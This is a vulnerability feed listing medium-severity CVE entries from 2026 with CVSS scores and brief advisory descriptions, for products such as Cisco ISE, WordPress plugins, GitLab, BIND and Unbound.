CVE-2026-84397	New	5.4	MEDI				Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field. Scope is changed.
CVE-2026-87959	New	5.4	MEDI		0.002		The WPBot WordPress plugin before 8.7.6 does not perform a capability check on the AJAX action that saves its Claude AI provider settings, allowing users with subscriber-level access to overwrite those settings, including the API key used for the WPBot WordPress plugin before 8.7.6's outgoing AI requests.
CVE-2026-89031	New	5.4	MEDI				Adenion Blog2Social plugin for WordPress before 9.1.0 allows low-privileged users to modify the scheduled post records of other users. The b2s_calendar_move_post AJAX handler in includes/Ajax/Post.php issues an UPDATE against the b2s_posts table using only the attacker-supplied b2s_id primary key with no blog_user_id ownership constraint, allowing any user with the edit_post...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92132	New	5.4	MEDI				Jenkins Gradle Plugin 2.19.1252.v15196b_5a_6e10 and earlier requests build scan data from the build scan link detected in the build log, even when a Develocity server URL is configured in the global configuration, allowing attackers able to control the build log to capture the Develocity access key configured in the global configuration by having Jenkins connect to an attack...
CVE-2026-92133	New	5.4	MEDI				Jenkins GitLab Plugin 1.2149.vcf32c82b_f7f and earlier caches the GitLab API client built for alternative GitLab API token credentials under a cache key derived from the credentials ID alone, omitting the folder in which the credentials are resolved, allowing attackers with Item/Configure permission to access GitLab API token credentials they are not entitled to use.
CVE-2026-92579	New	5.4	MEDI				In AVideo through 29.0, the autoCSRFGuard() function maintains a hardcoded allowlist of exempt basenames tested without directory context, allowing plugin files matching core filenames to inherit CSRF exemptions. The LoginWordPress plugin file login.json.php inherits an exemption and unconditionally logs out authenticated users on cross-site POST requests before validating c...
CVE-2026-92590	New	5.4	MEDI				Craft CMS versions from 5.7.0 before 5.10.13 contain a stored cross-site scripting vulnerability in the Generated Fields feature that disables Twig autoescaping and fails to encode cached values. Content editors can inject malicious JavaScript through editable fields that executes in authenticated Control Panel sessions of higher-privileged users viewing element indexes.
CVE-2026-11984	New	5.3	MEDI		0.003		The Ad Inserter – Ad Manager & AdSense Ads plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.8.16 due to a missing capability check on the `ai-debug-code` URL-parameter. This makes it possible for unauthenticated attackers to view administrator-configured header and footer code blocks that have been disabled from public display.
CVE-2026-19607	New	5.3	MEDI				A flaw was found in the first-broker-login flow of the keycloak-services component. This component handles the initial authentication and account linking when a user logs in via an external identity provider. The issue allows an attacker to register a matching username on an external provider to trigger a collision in Keycloak, which results in the legitimate user being lock...
CVE-2026-19668	New	5.3	MEDI				A BIND recursive resolver may experience excessive resource consumption if it encounters large numbers of a particular kind of invalid DNSSEC record. Default limits on "max-records-per-type" and "max-types-per-name" help mitigate the exposure. This issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.11.3-S1 through 9.18.50...
CVE-2026-20121	New	5.3	MEDI				A vulnerability in the access control list (ACL) Object Group Search (OGS) implementation of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to bypass configured access controls. This vulnerability is due to a logic error in populating group access cont...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-59823	New	5.3	MEDI				LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. Prior to 1.83.9, an authenticated LiteLLM Proxy caller with a valid virtual key can place api_base inside the user_config request body to bypass is_request_body_safe, which blocks top-level api_base and base_url but previously did not inspect or reject user_config. Because user_config const...
CVE-2026-61709	New	5.3	MEDI			go:github.com/openfga/openfga	OpenFGA is an authorization and permission engine built for developers. Prior to 1.18.1, the ListUsers API could return a user that should have been excluded when an authorization relation used an intersection containing a base but not excluded operand, the base was granted through a type-bound public wildcard, and the excluded user also had a concrete tuple through another ...
CVE-2026-73443	New	5.3	MEDI				On affected platforms running Arista EOS with VRRPv2 IP-AH authentication configured, an unauthenticated attacker within the same layer 2 network segment on which VRRP is running can capture a legitimate authenticated VRRP advertisement and replay it indefinitely. Replayed advertisements can be used to advertise stale VRRP state, for example to prevent a backup router from t...
CVE-2026-75029	New	5.3	MEDI				In a query response, an attacker may send `named` multiple copies of a record that should only exist once (such as an SOA record). If the RDATA is the same on all the copies, the record is appended to the in-memory RDATA set, which can cause increased memory usage of the negative cache and possibly lead to other memory attack vectors. This issue affects BIND 9 versions 9.11....
CVE-2026-76433	New	5.3	MEDI				A vulnerability in the client provisioning download feature of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to access protected files on an affected device. This vulnerability is due to insufficient validation of directory traversal character sequences in a user-supplied path when the software processes provisioning resource requests. An att...
CVE-2026-76439	New	5.3	MEDI				A vulnerability in the endpoint posture status reporting functionality of the guest portal web application of Cisco ISE could allow an unauthenticated, remote attacker to submit forged posture status events into the endpoint posture pipeline. This vulnerability is due to insufficient authentication on an internal interface that is exposed through the guest portal. An atta...
CVE-2026-76444	New	5.3	MEDI				A vulnerability in an internal service of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to retrieve sensitive configuration information from an affected device. This vulnerability is due to missing authentication on the Policy Runtime Repository Table (PRRT) service. An attacker could exploit this vulnerability by sending a crafted request to...
CVE-2026-76447	New	5.3	MEDI				A vulnerability in the Online Certificate Status Protocol (OCSP) responder of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to cause an administrative reload of the OCSP responder certificate and key material. This vulnerability is due to missing authentication on a function of the OCSP responder. An attacker could exploit this vulnerability ...
CVE-2026-77702	New	5.3	MEDI		0.002		The Eventin WordPress plugin before 4.1.24 does not prevent the token issued to a guest at checkout from being used to change that order's tickets afterwards, allowing unauthenticated users to replace a paid ticket with a free one and complete the order at no charge.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-78474	New	5.3	MEDI		0.002		The Ni WooCommerce Sales Report WordPress plugin before 4.2.0 does not have any authentication or authorisation checks on one of its report-printing routines, allowing unauthenticated users to retrieve WooCommerce order details and customer contact information, to target an individual order, and to search the store's orders by customer name or email address.
CVE-2026-80225	New	5.3	MEDI		0.003		In NLnetLabs Unbound up to and including 1.26.0, a degradation of service vulnerability is present in the TCP/DoT reading procedure where there is no limit on consecutive reads. A malicious actor that can stream and sustain a rate of distinct uncached names over the TCP/DoT connection, monopolizes a single worker's entire event loop for as long as its writes stay ahead of th...
CVE-2026-81176	New	5.3	MEDI				Svelte devalue is a JavaScript library that serializes values into strings when JSON.stringify isn't sufficient for the job. Prior to 5.9.2, devalue.parse does not reject out-of-bounds indices that are greater than or equal to values.length in src/parse.js. A specially crafted untrusted payload can make the parser alternate between array representations, producing quadratic ...
CVE-2026-82124	New	5.3	MEDI		0.002		The Schema & Structured Data for WP & AMP WordPress plugin before 1.66 does not check whether a post is password protected before including its content in the structured data it generates, allowing unauthenticated users to obtain the content of password protected posts via more than one public output route.
CVE-2026-82125	New	5.3	MEDI		0.002		The Schema & Structured Data for WP & AMP WordPress plugin before 1.66 does not correctly verify the ownership or the moderation status of a comment before returning its content, allowing unauthenticated users to read the content of comments still awaiting moderation or marked as spam.
CVE-2026-84439	New	5.3	MEDI		0.003		When audit logging is enabled (zookeeper.audit.enable=true), an unauthenticated attacker can inject arbitrary fields into Apache ZooKeeper's audit log by sending a digest authentication request with tab characters (\t) embedded in the username. Because the audit log uses tab-separated key=value format, the injected tabs are parsed as legitimate field separators, allowing the...
CVE-2026-84501	New	5.3	MEDI		0.002		An unauthenticated attacker can inject arbitrary fake log lines into Apache ZooKeeper's operational log by sending a crafted add_auth("ensemble", ...) request containing newline characters (\n). When the ensemble name doesn't match, EnsembleAuthenticationProvider.handleAuthentication() logs the raw, unsanitized name via LOG.warn(). Because SLF4J's {} placeholder preserves em...
CVE-2026-84906	New	5.3	MEDI		0.001		The Eventin WordPress plugin before 4.1.24 does not verify that a completed payment corresponds to the order it is applied to, confirming only that the payment gateway reports the transaction as successful, not its amount, currency, or which order it belongs to, allowing unauthenticated visitors to mark unpaid orders of any value as paid by replaying the transaction of a sin...
CVE-2026-85104	New	5.3	MEDI				In Sooma 2GEN brain stimulator, an attacker within Bluetooth range can make unauthenticated changes to brain stimulation parameters.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-85501	New	5.3	MEDI		0.003		Novel vulnerabilities to launch algorithmic complexity attacks on DNSSEC have been researched under the term 'ReTrap'. These result in degradation of service when malicious zones are used to serve the algorithmic complexity vulnerabilities. NLnet Labs Unbound up to and including 1.26.0 is vulnerable to some of them. TagTrap, where the triple(Zone, Algo, KeyTag) matching mec...
CVE-2026-86445	New	5.3	MEDI		0.002		The LearnPress WordPress plugin before 4.4.7 does not check the user's capabilities in one of its administrative template handlers, allowing unauthenticated attackers to retrieve the text, identifier and type of every published quiz question on the site, along with a keyword search over them, which is content the LearnPress WordPress plugin before 4.4.7 otherwise keeps non...
CVE-2026-86447	New	5.3	MEDI		0.002		The LearnPress WordPress plugin before 4.4.7 does not check the user's capabilities in one of its administrative course tools, allowing unauthenticated attackers to list every enrolled student's display name and user identifier against the course they are enrolled on, and to recover their email addresses through the same handler's search filter.
CVE-2026-86449	New	5.3	MEDI		0.002		The LearnPress WordPress plugin before 4.4.7 does not check the user's capabilities before applying a user supplied post status filter in one of its REST routes, allowing unauthenticated attackers to list courses that are not published, including draft, pending, private, scheduled and trashed ones.
CVE-2026-86475	New	5.3	MEDI		0.003		The Appointment Hour Booking WordPress plugin before 1.5.95 does not check every appointment in a booking submission against the capacity configured for its own slot, allowing unauthenticated visitors to take slots that are already fully booked.
CVE-2026-86823	New	5.3	MEDI		0.002		The Newsletter WordPress plugin before 9.3.7 does not validate the destination of the redirect performed after a public subscription action, allowing unauthenticated attackers to redirect users to arbitrary external sites and to disclose a subscriber token that grants access to that subscriber record's front-end actions.
CVE-2026-87028	New	5.3	MEDI				Concrete CMS 9 through 9.5.3 did not confirm that a board InstanceItem submitted to the custom-slot preview endpoint belonged to the board instance the requesting user was authorized to edit, and did not enforce page-view permission before generating page-backed summary content. As a result, an authenticated user holding edit-board-contents permission on a single board insta...
CVE-2026-87854	New	5.3	MEDI		0.002		The Subscriptions for WooCommerce WordPress plugin before 2.0.3 does not correctly validate the shared secret protecting one of its REST endpoints, allowing unauthenticated users to retrieve the store's full list of subscriptions, including customer usernames, product names, recurring amounts and payment dates.
CVE-2026-87896	New	5.3	MEDI		0.002		The Rox Appointment Booking WordPress plugin before 1.2.8 does not perform any authorization check on the endpoint that returns booking agent (staff) records, allowing unauthenticated attackers to read staff email addresses, phone numbers, private internal notes and the linked WordPress account name for every agent.
CVE-2026-87907	New	5.3	MEDI		0.002		The Rox Appointment Booking WordPress plugin before 1.2.8 does not perform any authorization check on the endpoints that return booking service and category records, allowing unauthenticated attackers to read the private internal notes stored on each service and category.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-88910	New	5.3	MEDI		0.002		The kboard WordPress plugin before 6.7 does not verify ownership or context before deleting board media, allowing unauthenticated attackers to permanently delete its uploaded media files and their database records by iterating identifiers.
CVE-2026-89029	New	5.3	MEDI				Adenion Blog2Social plugin for WordPress before 9.1.0 allows low-privileged users to enumerate WordPress user accounts. The b2s_get_select_mandant_user AJAX handler in includes/Ajax/Get.php resolves arbitrary user IDs supplied in the owner parameter to display names without verifying that the caller is authorized to read user account data, allowing any user with the edit_pos...
CVE-2026-89030	New	5.3	MEDI				Adenion Blog2Social plugin for WordPress before 9.1.0 exposes the email addresses of all registered WordPress users to low-privileged accounts. The b2s_search_user AJAX handler in includes/Ajax/Get.php invokes B2S_Tools::searchUser() in includes/Tools.php, which returns the email address of every matching user without restricting access to callers holding the list_users capa...
CVE-2026-92184	New	5.3	MEDI		0.003		A security flaw has been discovered in ag-ui-protocol ag-ui 0.3.0. Affected is the function urllib.request.urlopen of the file integrations/aws-strands/python/src/ag_ui_strands/utlis.py of the component Multimodal Content. The manipulation of the argument Value results in server-side request forgery. The attack can be executed remotely. The patch is identified as bf0c34df34c...
CVE-2026-92216	New	5.3	MEDI		0.004		A vulnerability was found in a2ui-project a2ui up to 0.10.7. Affected by this issue is the function openUrl of the file renderers/web_core/src/v0_9/rendering/generic-binder.ts of the component Binder. The manipulation results in open redirect. It is possible to launch the attack remotely. The project was informed of the problem early through an issue report but has not respo...
CVE-2026-92217	New	5.3	MEDI		0.003		A vulnerability was determined in a2ui-project a2ui up to 0.10.6. This affects the function processMessages of the file renderers/web_core/src/v0_9/processing/message-processor.ts of the component Message Parsing. This manipulation causes dynamically-determined object attributes. The attack can be initiated remotely. The project was informed of the problem early through an i...
CVE-2026-92356	New	5.3	MEDI				A vulnerability was determined in a2ui-project a2ui 0.9/0.9.1. This issue affects the function updateComponents of the file basic_functions.ts of the component Update Components. Executing a manipulation can lead to resource consumption. The attack can be launched remotely. The project was informed of the problem early through an issue report but has not responded yet.
CVE-2026-92361	New	5.3	MEDI				A security vulnerability has been detected in ag-ui-protocol ag-ui 1.0. This affects an unknown function of the file sdks/community/go/pkg/client/sse/client.go of the component SSE Client. Such manipulation leads to resource consumption. The attack can be executed remotely. The pull request to fix this issue awaits acceptance.
CVE-2026-92416	New	5.3	MEDI				A vulnerability has been found in Open5GS up to 2.8.0. Affected by this issue is the function smf_n4_handle_session_report_request of the file src/smf/n4-handler.c of the component PFCP Session Report Request Handler. The manipulation leads to reachable assertion. The attack may be initiated remotely. The identifier of the patch is e5f0c06d0f2d9613b003daa1cfa3ba8a4bd157e9. I...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92455	New	5.3	MEDI				yshop-crm through 2.1.3 fails to enforce authorization on the sendSms and sendMail endpoints in CrmCustomerController, allowing any authenticated back-office user to send SMS and email to arbitrary customers. Attackers can invoke POST /admin-api/crm/customer/send-sms and POST /admin-api/crm/customer/send-mail with arbitrary customerIds, templateCode, and templateParams to de...
CVE-2026-92461	New	5.3	MEDI				yshop-crm through 2.1.3 contains a missing authorization vulnerability in the GET /admin-api/crm/flow/flow-users endpoint that allows any logged-in back-office user to access approval workflow data. Attackers can retrieve approval chain topology, step ordering, approver identifiers, and personal information including login names, nicknames, departments, email addresses, mobi...
CVE-2026-92475	New	5.3	MEDI				A weakness has been identified in GPAC 26.08-DEV. This impacts the function wait_for_header_and_parse of the file src/utls/downloader.c. This manipulation of the argument Content-Range causes out-of-bounds read. The attack requires local access. The exploit has been made available to the public and could be used for attacks. Upgrading to version abi-16.26 will fix this issu...
CVE-2026-92565	New	5.3	MEDI				Rally before 4.15.0 contains an information disclosure vulnerability in the polls.get tRPC procedure that returns scheduled-event invitee names and email addresses to unauthenticated callers. Attackers can access a poll's urlId from public invite links to retrieve sensitive invitee information regardless of privacy settings.
CVE-2026-92568	New	5.3	MEDI				MLRun through 1.11.0 contains a server-side request forgery vulnerability in the WebhookNotification handler that allows authenticated users to make the API server send arbitrary HTTP requests to internal addresses. Attackers can update a run with a malicious webhook notification that executes when the run reaches a terminal state, enabling requests to internal services, Kub...
CVE-2026-92581	New	5.3	MEDI				In AVideo through 29.0, Like::__construct() performs counter arithmetic on raw request values before validation, allowing array-typed parameters to desynchronize stored votes from counters. Authenticated attackers can send array-typed like parameters followed by ordinary requests to drive video like counts arbitrarily negative, with the corruption persisting in the denormali...
CVE-2026-92586	New	5.3	MEDI				AVideo through 29.0 (commit c3edcc274c389816d434acadac07ee78eaf330c1) fails to verify video access permissions in the set_api_comment function, allowing authenticated users to post comments on password-protected and group-restricted videos. Attackers can submit POST requests to the comment API endpoint with arbitrary video IDs to write comments on videos they cannot watch.
CVE-2026-92754	New	5.3	MEDI				PatrolManager through 1.8.4 contains an improper access control vulnerability in the user listing API endpoint where the authorization decorator is commented out. Authenticated attackers with low-privilege accounts can enumerate all users and their privilege flags including superuser and staff status by accessing the endpoint.
CVE-2026-92774	New	5.3	MEDI				Wiki.js through 2.5.314 omits page tags from authorization checks in multiple GraphQL resolvers, allowing tag-based access restrictions to be bypassed. Attackers can query the list, tree, tags, searchTags, and links resolvers to retrieve restricted page metadata including titles, descriptions, paths, and tag information without proper authorization.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92778	New	5.3	MEDI				CMAK through 3.0.0.6 fails to apply the scheduled leader election feature toggle to HTML form routes, allowing attackers to bypass the feature gate. Attackers can access the form endpoints to start and stop the recurring election scheduler, disrupting leadership across managed Kafka clusters.
CVE-2026-92802	New	5.3	MEDI				kan through 0.6.0 fails to properly validate board creation permissions in the GitHub project import endpoint, allowing guests to create boards despite lacking board:create permission. Attackers can bypass authorization checks by using the importProjects mutation to create boards while remaining blocked on direct creation paths.
CVE-2026-92809	New	5.3	MEDI				PrestaShop psgdpr versions through 1.4.3 fail to validate that GDPR consent log entries are attributed to the authenticated customer. Authenticated attackers can submit arbitrary customer identifiers to create forged consent records for other customers, corrupting audit logs.
CVE-2026-92810	New	5.3	MEDI				PrestaShop blockwishlist through 3.0.2 fails to validate wishlist ownership in the getUrlByIdWishListAction method, allowing authenticated customers to retrieve share tokens for any wishlist by identifier. Attackers can supply sequential wishlist identifiers to obtain valid share links and read other customers' private wishlist contents.
CVE-2026-2380	New	5.1	MEDI		0.002		On affected platforms running Arista EOS with OpenConfig-related services (i.e., gNMI, gNSI, RESTCONF and NETCONF), sensitive requests and responses may be unintentionally logged. These may be stored on the local EOS device or recorded on remote accounting servers. Note that gRPC-based streaming via Streaming Telemetry Agent to CloudVision is not affected by this vulnerabili...
CVE-2026-61597	New	5.1	MEDI			pip:djust	djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, many djust built-in component template tags (`djust.components.template tags.*`) render a developer/user-supplied URL into an `href` / `action` attribute, HTML-escaping it with `conditional_escape` but never validating the URL scheme. HTML esc...
CVE-2026-81869	New	5.1	MEDI				OpenTelemetry-Go is the Go implementation of OpenTelemetry. From version 1.10.0 until 1.33.0, the sdk/trace/span.go attribute truncation path can fail to enforce AttributeValueLengthLimit for string and string-slice attributes containing the valid Unicode replacement character U+FFFD. safeTruncateValidUTF8 treats the valid replacement rune as invalid UTF-8 and returns the or...
CVE-2026-91099	New	5.1	MEDI				HP has identified and remediated multiple externally reported vulnerabilities within HPLIP. The findings affect several software components that could potentially enable remote code execution, privilege escalation, denial of service, information disclosure, or unauthorized file modification under certain conditions.
CVE-2026-91101	New	5.1	MEDI				HP has identified and remediated multiple externally reported vulnerabilities within HPLIP. The findings affect several software components that could potentially enable remote code execution, privilege escalation, denial of service, information disclosure, or unauthorized file modification under certain conditions.
CVE-2026-91103	New	5.1	MEDI				HP has identified and remediated multiple externally reported vulnerabilities within HPLIP. The findings affect several software components that could potentially enable remote code execution, privilege escalation, denial of service, information disclosure, or unauthorized file modification under certain conditions.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92213	New	5.1	MEDI		0.002		A vulnerability was detected in a2ui-project a2ui up to 0.10.6. This impacts the function z.any of the file renderers/web_core/src/v0_9/schema/server-to-client.ts of the component Angular Renderer. Performing a manipulation of the argument primaryColor results in injection. The attack is possible to be carried out remotely. The patch is named fb8e85aec78d04e81feb9992a57638ca...
CVE-2026-92587	New	5.0	MEDI				n8n is a workflow automation platform. In versions before 1.123.76, 2.37.7, and 2.38.2, the Git node validated a relative remote URL against the configured repositoryPath but then invoked git with that path as its working directory; git walked up to the enclosing repository's top level and resolved the same relative URL from there. An authenticated user (member) who nested t...
CVE-2026-20072	New	4.9	MEDI				A vulnerability in the web-based management interface of Cisco ISE could allow an authenticated, remote attacker to obtain sensitive information from network users that are outside the security group that the attacker is assigned to. This vulnerability exists because certain files lack proper authorization enforcement. An attacker with administrative privileges and...
CVE-2026-20235	New	4.9	MEDI				A vulnerability in the API of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to view sensitive information on an affected device. To exploit this vulnerability, the attacker must have valid administrative credentials. This vulnerability is due to insufficient validation of user-supplied parameters in API requests. An attacker could expl...
CVE-2026-20282	New	4.9	MEDI				A vulnerability in Cisco ISE could allow an authenticated, remote attacker to obtain write access on the underlying operating system of an affected device. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the at...
CVE-2026-76426	New	4.9	MEDI				A vulnerability in the REST API of Cisco ISE and Cisco ISE-PIC could allow an authenticated, remote attacker to conduct SQL injection attacks against the monitoring database. This vulnerability is due to insufficient validation of specific parameters that are then concatenated into an SQL statement. An attacker could exploit this vulnerability by sending a crafted request...
CVE-2026-76427	New	4.9	MEDI				A vulnerability in the offline profiler feed service of Cisco ISE could allow an authenticated, remote attacker to read arbitrary files that are stored on an affected device. This vulnerability is due to the parsing of attacker-controlled feed metadata with an XML parser that does not disable external entity resolution. An attacker could exploit this vulnerability by uplo...
CVE-2026-76428	New	4.9	MEDI				A vulnerability in the REST APIs of Cisco ISE and Cisco ISE-PIC could allow an authenticated, remote attacker to conduct SQL injection attacks against the session database. This vulnerability is due to certain parameters being concatenated directly into SQL clauses without parameterization. An attacker could exploit this vulnerability by sending a crafted request that con...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-76431	New	4.9	MEDI				A vulnerability in the file management function of the web-based management interface of Cisco ISE and Cisco ISE-PIC could allow an authenticated, remote attacker to delete arbitrary files and directories on an affected device. To exploit this vulnerability, the attacker must have valid administrative credentials. This vulnerability is due to improper validation of direct...
CVE-2026-76432	New	4.9	MEDI				A vulnerability in the web-based management interface of Cisco ISE and Cisco ISE-PIC could allow an authenticated, remote attacker with administrative-level privileges to write arbitrary files on an affected device. This vulnerability exists because the affected software does not properly validate directory traversal character sequences in a user-supplied file path during...
CVE-2026-76434	New	4.9	MEDI				A vulnerability in the certificate import functionality of the web-based management interface of Cisco ISE and Cisco ISE-PIC could allow an authenticated, remote attacker to read arbitrary files from the affected system. To exploit this vulnerability, the attacker must have valid administrative credentials. This vulnerability is due to insufficient validation of user-supp...
CVE-2026-76446	New	4.9	MEDI				A vulnerability in an API of Cisco ISE and Cisco ISE-PIC could allow an authenticated, remote attacker to read specific files on the underlying operating system of an affected device. This vulnerability is due to improper restriction of XML external entity references. An attacker could exploit this vulnerability by sending a crafted request to an affected device. A s...
CVE-2026-76448	New	4.9	MEDI				A vulnerability in Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) could allow an authenticated, remote attacker to conduct an SQL or HQL injection attack on an affected device. This vulnerability is due to insufficient validation of user-supplied input to the affected APIs before it is used to build database queries. An attacker co...
CVE-2026-76449	New	4.9	MEDI				A vulnerability in Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) could allow an authenticated, remote attacker to conduct an SQL or HQL injection attack on an affected device. This vulnerability is due to insufficient validation of user-supplied input to the affected APIs before it is used to build database queries. An attacker co...
CVE-2026-76450	New	4.9	MEDI				A vulnerability in Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) could allow an authenticated, remote attacker to conduct an SQL or HQL injection attack on an affected device. This vulnerability is due to insufficient validation of user-supplied input to the affected APIs before it is used to build database queries. An attacker co...
CVE-2026-76451	New	4.9	MEDI				A vulnerability in Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) could allow an authenticated, remote attacker to conduct an SQL or HQL injection attack on an affected device. This vulnerability is due to insufficient validation of user-supplied input to the affected APIs before it is used to build database queries. An attacker co...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-19857	New	4.8	MEDI		0.002		The Formidable Forms WordPress plugin before 6.35 does not prevent a request-derived value from reaching the WordPress shortcode parser when it substitutes a supported token into a form's custom HTML, allowing unauthenticated visitors to have arbitrary shortcodes, with attacker-chosen attributes, executed server-side on any page displaying an affected form.
CVE-2026-19619	New	4.7	MEDI		0.003		GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.0 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that under certain conditions could have allowed an unauthenticated user to execute arbitrary JavaScript in the context of a targeted user's session due to improper sanitization of pasted HTML content in the Content Editor.
CVE-2026-20350	New	4.7	MEDI				A vulnerability in the web-based management interface of Cisco ThousandEyes Virtual Appliance could allow an authenticated, remote attacker to inject arbitrary operating system commands. This vulnerability is due to improper validation of user-supplied input to the web-based management interface. An attacker could exploit this vulnerability by saving configuration details...
CVE-2026-75025	New	4.7	MEDI				Mattermost Desktop App versions <=6.2 6.2.2.0 Fixed an issue where Mattermost Desktop did not sufficiently restrict server-rendered content from accessing local or private network resources. Thanks to game0v3r for contributing to this improvement under the Mattermost responsible disclosure policy. Mattermost Advisory ID: MMSA-2026-00698
CVE-2026-85732	New	4.7	MEDI				oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, the parseLink function in registry/remote/utlis.go accepts an absolute URL from a registry-controlled Link response header without validating its scheme, host, or port. Tags, Referrers, and Repositories pagination operations then issue a GET request to the attacker-selected URL from the victim's network, all...
CVE-2026-92221	New	4.7	MEDI		0.003		A vulnerability was determined in gedelumbung HospitalManagement up to c2d45543789a3887067d3915f69d44cfc2cf76a8. Affected by this vulnerability is the function generate_index_pasien of the file application/models/app_global_admin_model.php. Executing a manipulation of the argument cari can lead to sql injection. It is possible to launch the attack remotely. The exploit has b...
CVE-2026-76151	New	4.6	MEDI				Out-of-bounds read (buffer over-read) in the HTTP Cache-Control response header parsing in the QtNetwork module in Qt Group Qt 6.0.0 through 6.8.8, and 6.9.0 through 6.11.1, allows remote attackers to cause a denial of service (application crash) via an excessively large Cache-Control header value returned by an untrusted or compromised HTTP server to an application using QN...
CVE-2026-92627	New	4.6	MEDI				A heap-use-after-free vulnerability exists in H5T__conv_f_f() in src/H5Tconv.c in HDF5 before 1.14.2. When converting a compound datatype containing floating-point members during a dataset read, a temporary buffer allocated with calloc() is freed and subsequently read from within the same conversion routine. An attacker who can supply a crafted HDF5 file containing a special...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2025-36591	New	4.4	MEDI				Dell ECS versions 3.8.1.0 through 3.8.1.7, and Dell ObjectScale versions prior to 4.4.0.0, contains an Use of a Broken or Risky Cryptographic Algorithm vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Information exposure.
CVE-2026-63225	New	4.4	MEDI				Redocly CLI makes OpenAPI validation, linting, and documentation workflows easier. Prior to @redocly/cli 2.33.2, the split command constructs output paths under --outDir from untrusted OpenAPI or AsyncAPI component names and x-codeSamples lang values without verifying that the resolved target remains inside the selected directory. A description containing literal ../ travers...
CVE-2026-77955	New	4.4	MEDI		0.001		In NLnet Labs Unbound 1.13.2 up to and including 1.26.1, a vulnerability in ZONEMD configured zones (zonemd-check: yes) which are located below (but not at) a trust anchor allow for an attack window where (tampered with) zone contents are served (or stored to disk) prior to the ZONEMD integrity check. This is caused by the needed DS/DNSKEY asynchronous resolution that needs ...
CVE-2026-86341	New	4.4	MEDI		0.003		GitLab has remediated an issue in GitLab EE affecting all versions from 17.1 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that, under certain conditions, an authenticated user with Owner or Maintainer permissions could have silently disabled protected environment deployment approval requirements, allowing unapproved deployments to reach production, due to improp...
CVE-2026-16794	New	4.3	MEDI		0.003		GitLab has remediated an issue in GitLab EE affecting all versions from 18.11 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that under certain conditions could have allowed an authenticated user with the Security Manager role to execute arbitrary CI/CD jobs and access protected variables within group projects due to improper authorization controls on compliance f...
CVE-2026-20285	New	4.3	MEDI				A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) could allow an authenticated, remote attacker to modify parts of the configuration on an affected device. This vulnerability is due to the lack of server-side validation of Administrator permissions. An attacker could e...
CVE-2026-20286	New	4.3	MEDI				A vulnerability in the web-based management interface of Cisco Identify Services Engine (ISE) could allow an authenticated, remote attacker to modify parts of the configuration on an affected device. This vulnerability is due to the lack of server-side validation of Administrator permissions. An attacker could exploit this vulnerability by submitting a crafted H...
CVE-2026-7514	New	4.3	MEDI		0.003		GitLab has remediated an issue in GitLab CE/EE affecting all versions from 13.9 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that an authenticated user with developer-role permissions could substitute package file content and hide packages from their owners due to improper authorization checks in the Generic Package Registry.
CVE-2026-8030	New	4.3	MEDI		0.004		GitLab has remediated an issue in GitLab CE/EE affecting all versions from 13.0 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that under certain conditions could have allowed an authenticated user to prevent another user from modifying their group settings due to improper validation of group URL slugs during namespace transfers.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-85349	New	4.3	MEDI		0.002		The FluentBoards WordPress plugin before 2.0.15 does not properly verify authorization when returning the list of boards a user belongs to, allowing any authenticated user, including a Subscriber with no board access, to disclose the private board memberships of arbitrary users by referencing their user ID.
CVE-2026-85572	New	4.3	MEDI		0.002		The Tutor LMS WordPress plugin before 4.0.8 does not check that a user has access to a course before returning its lesson discussion content, allowing any authenticated user, such as a subscriber, to read comments from courses they are not enrolled in, including comments awaiting moderation.
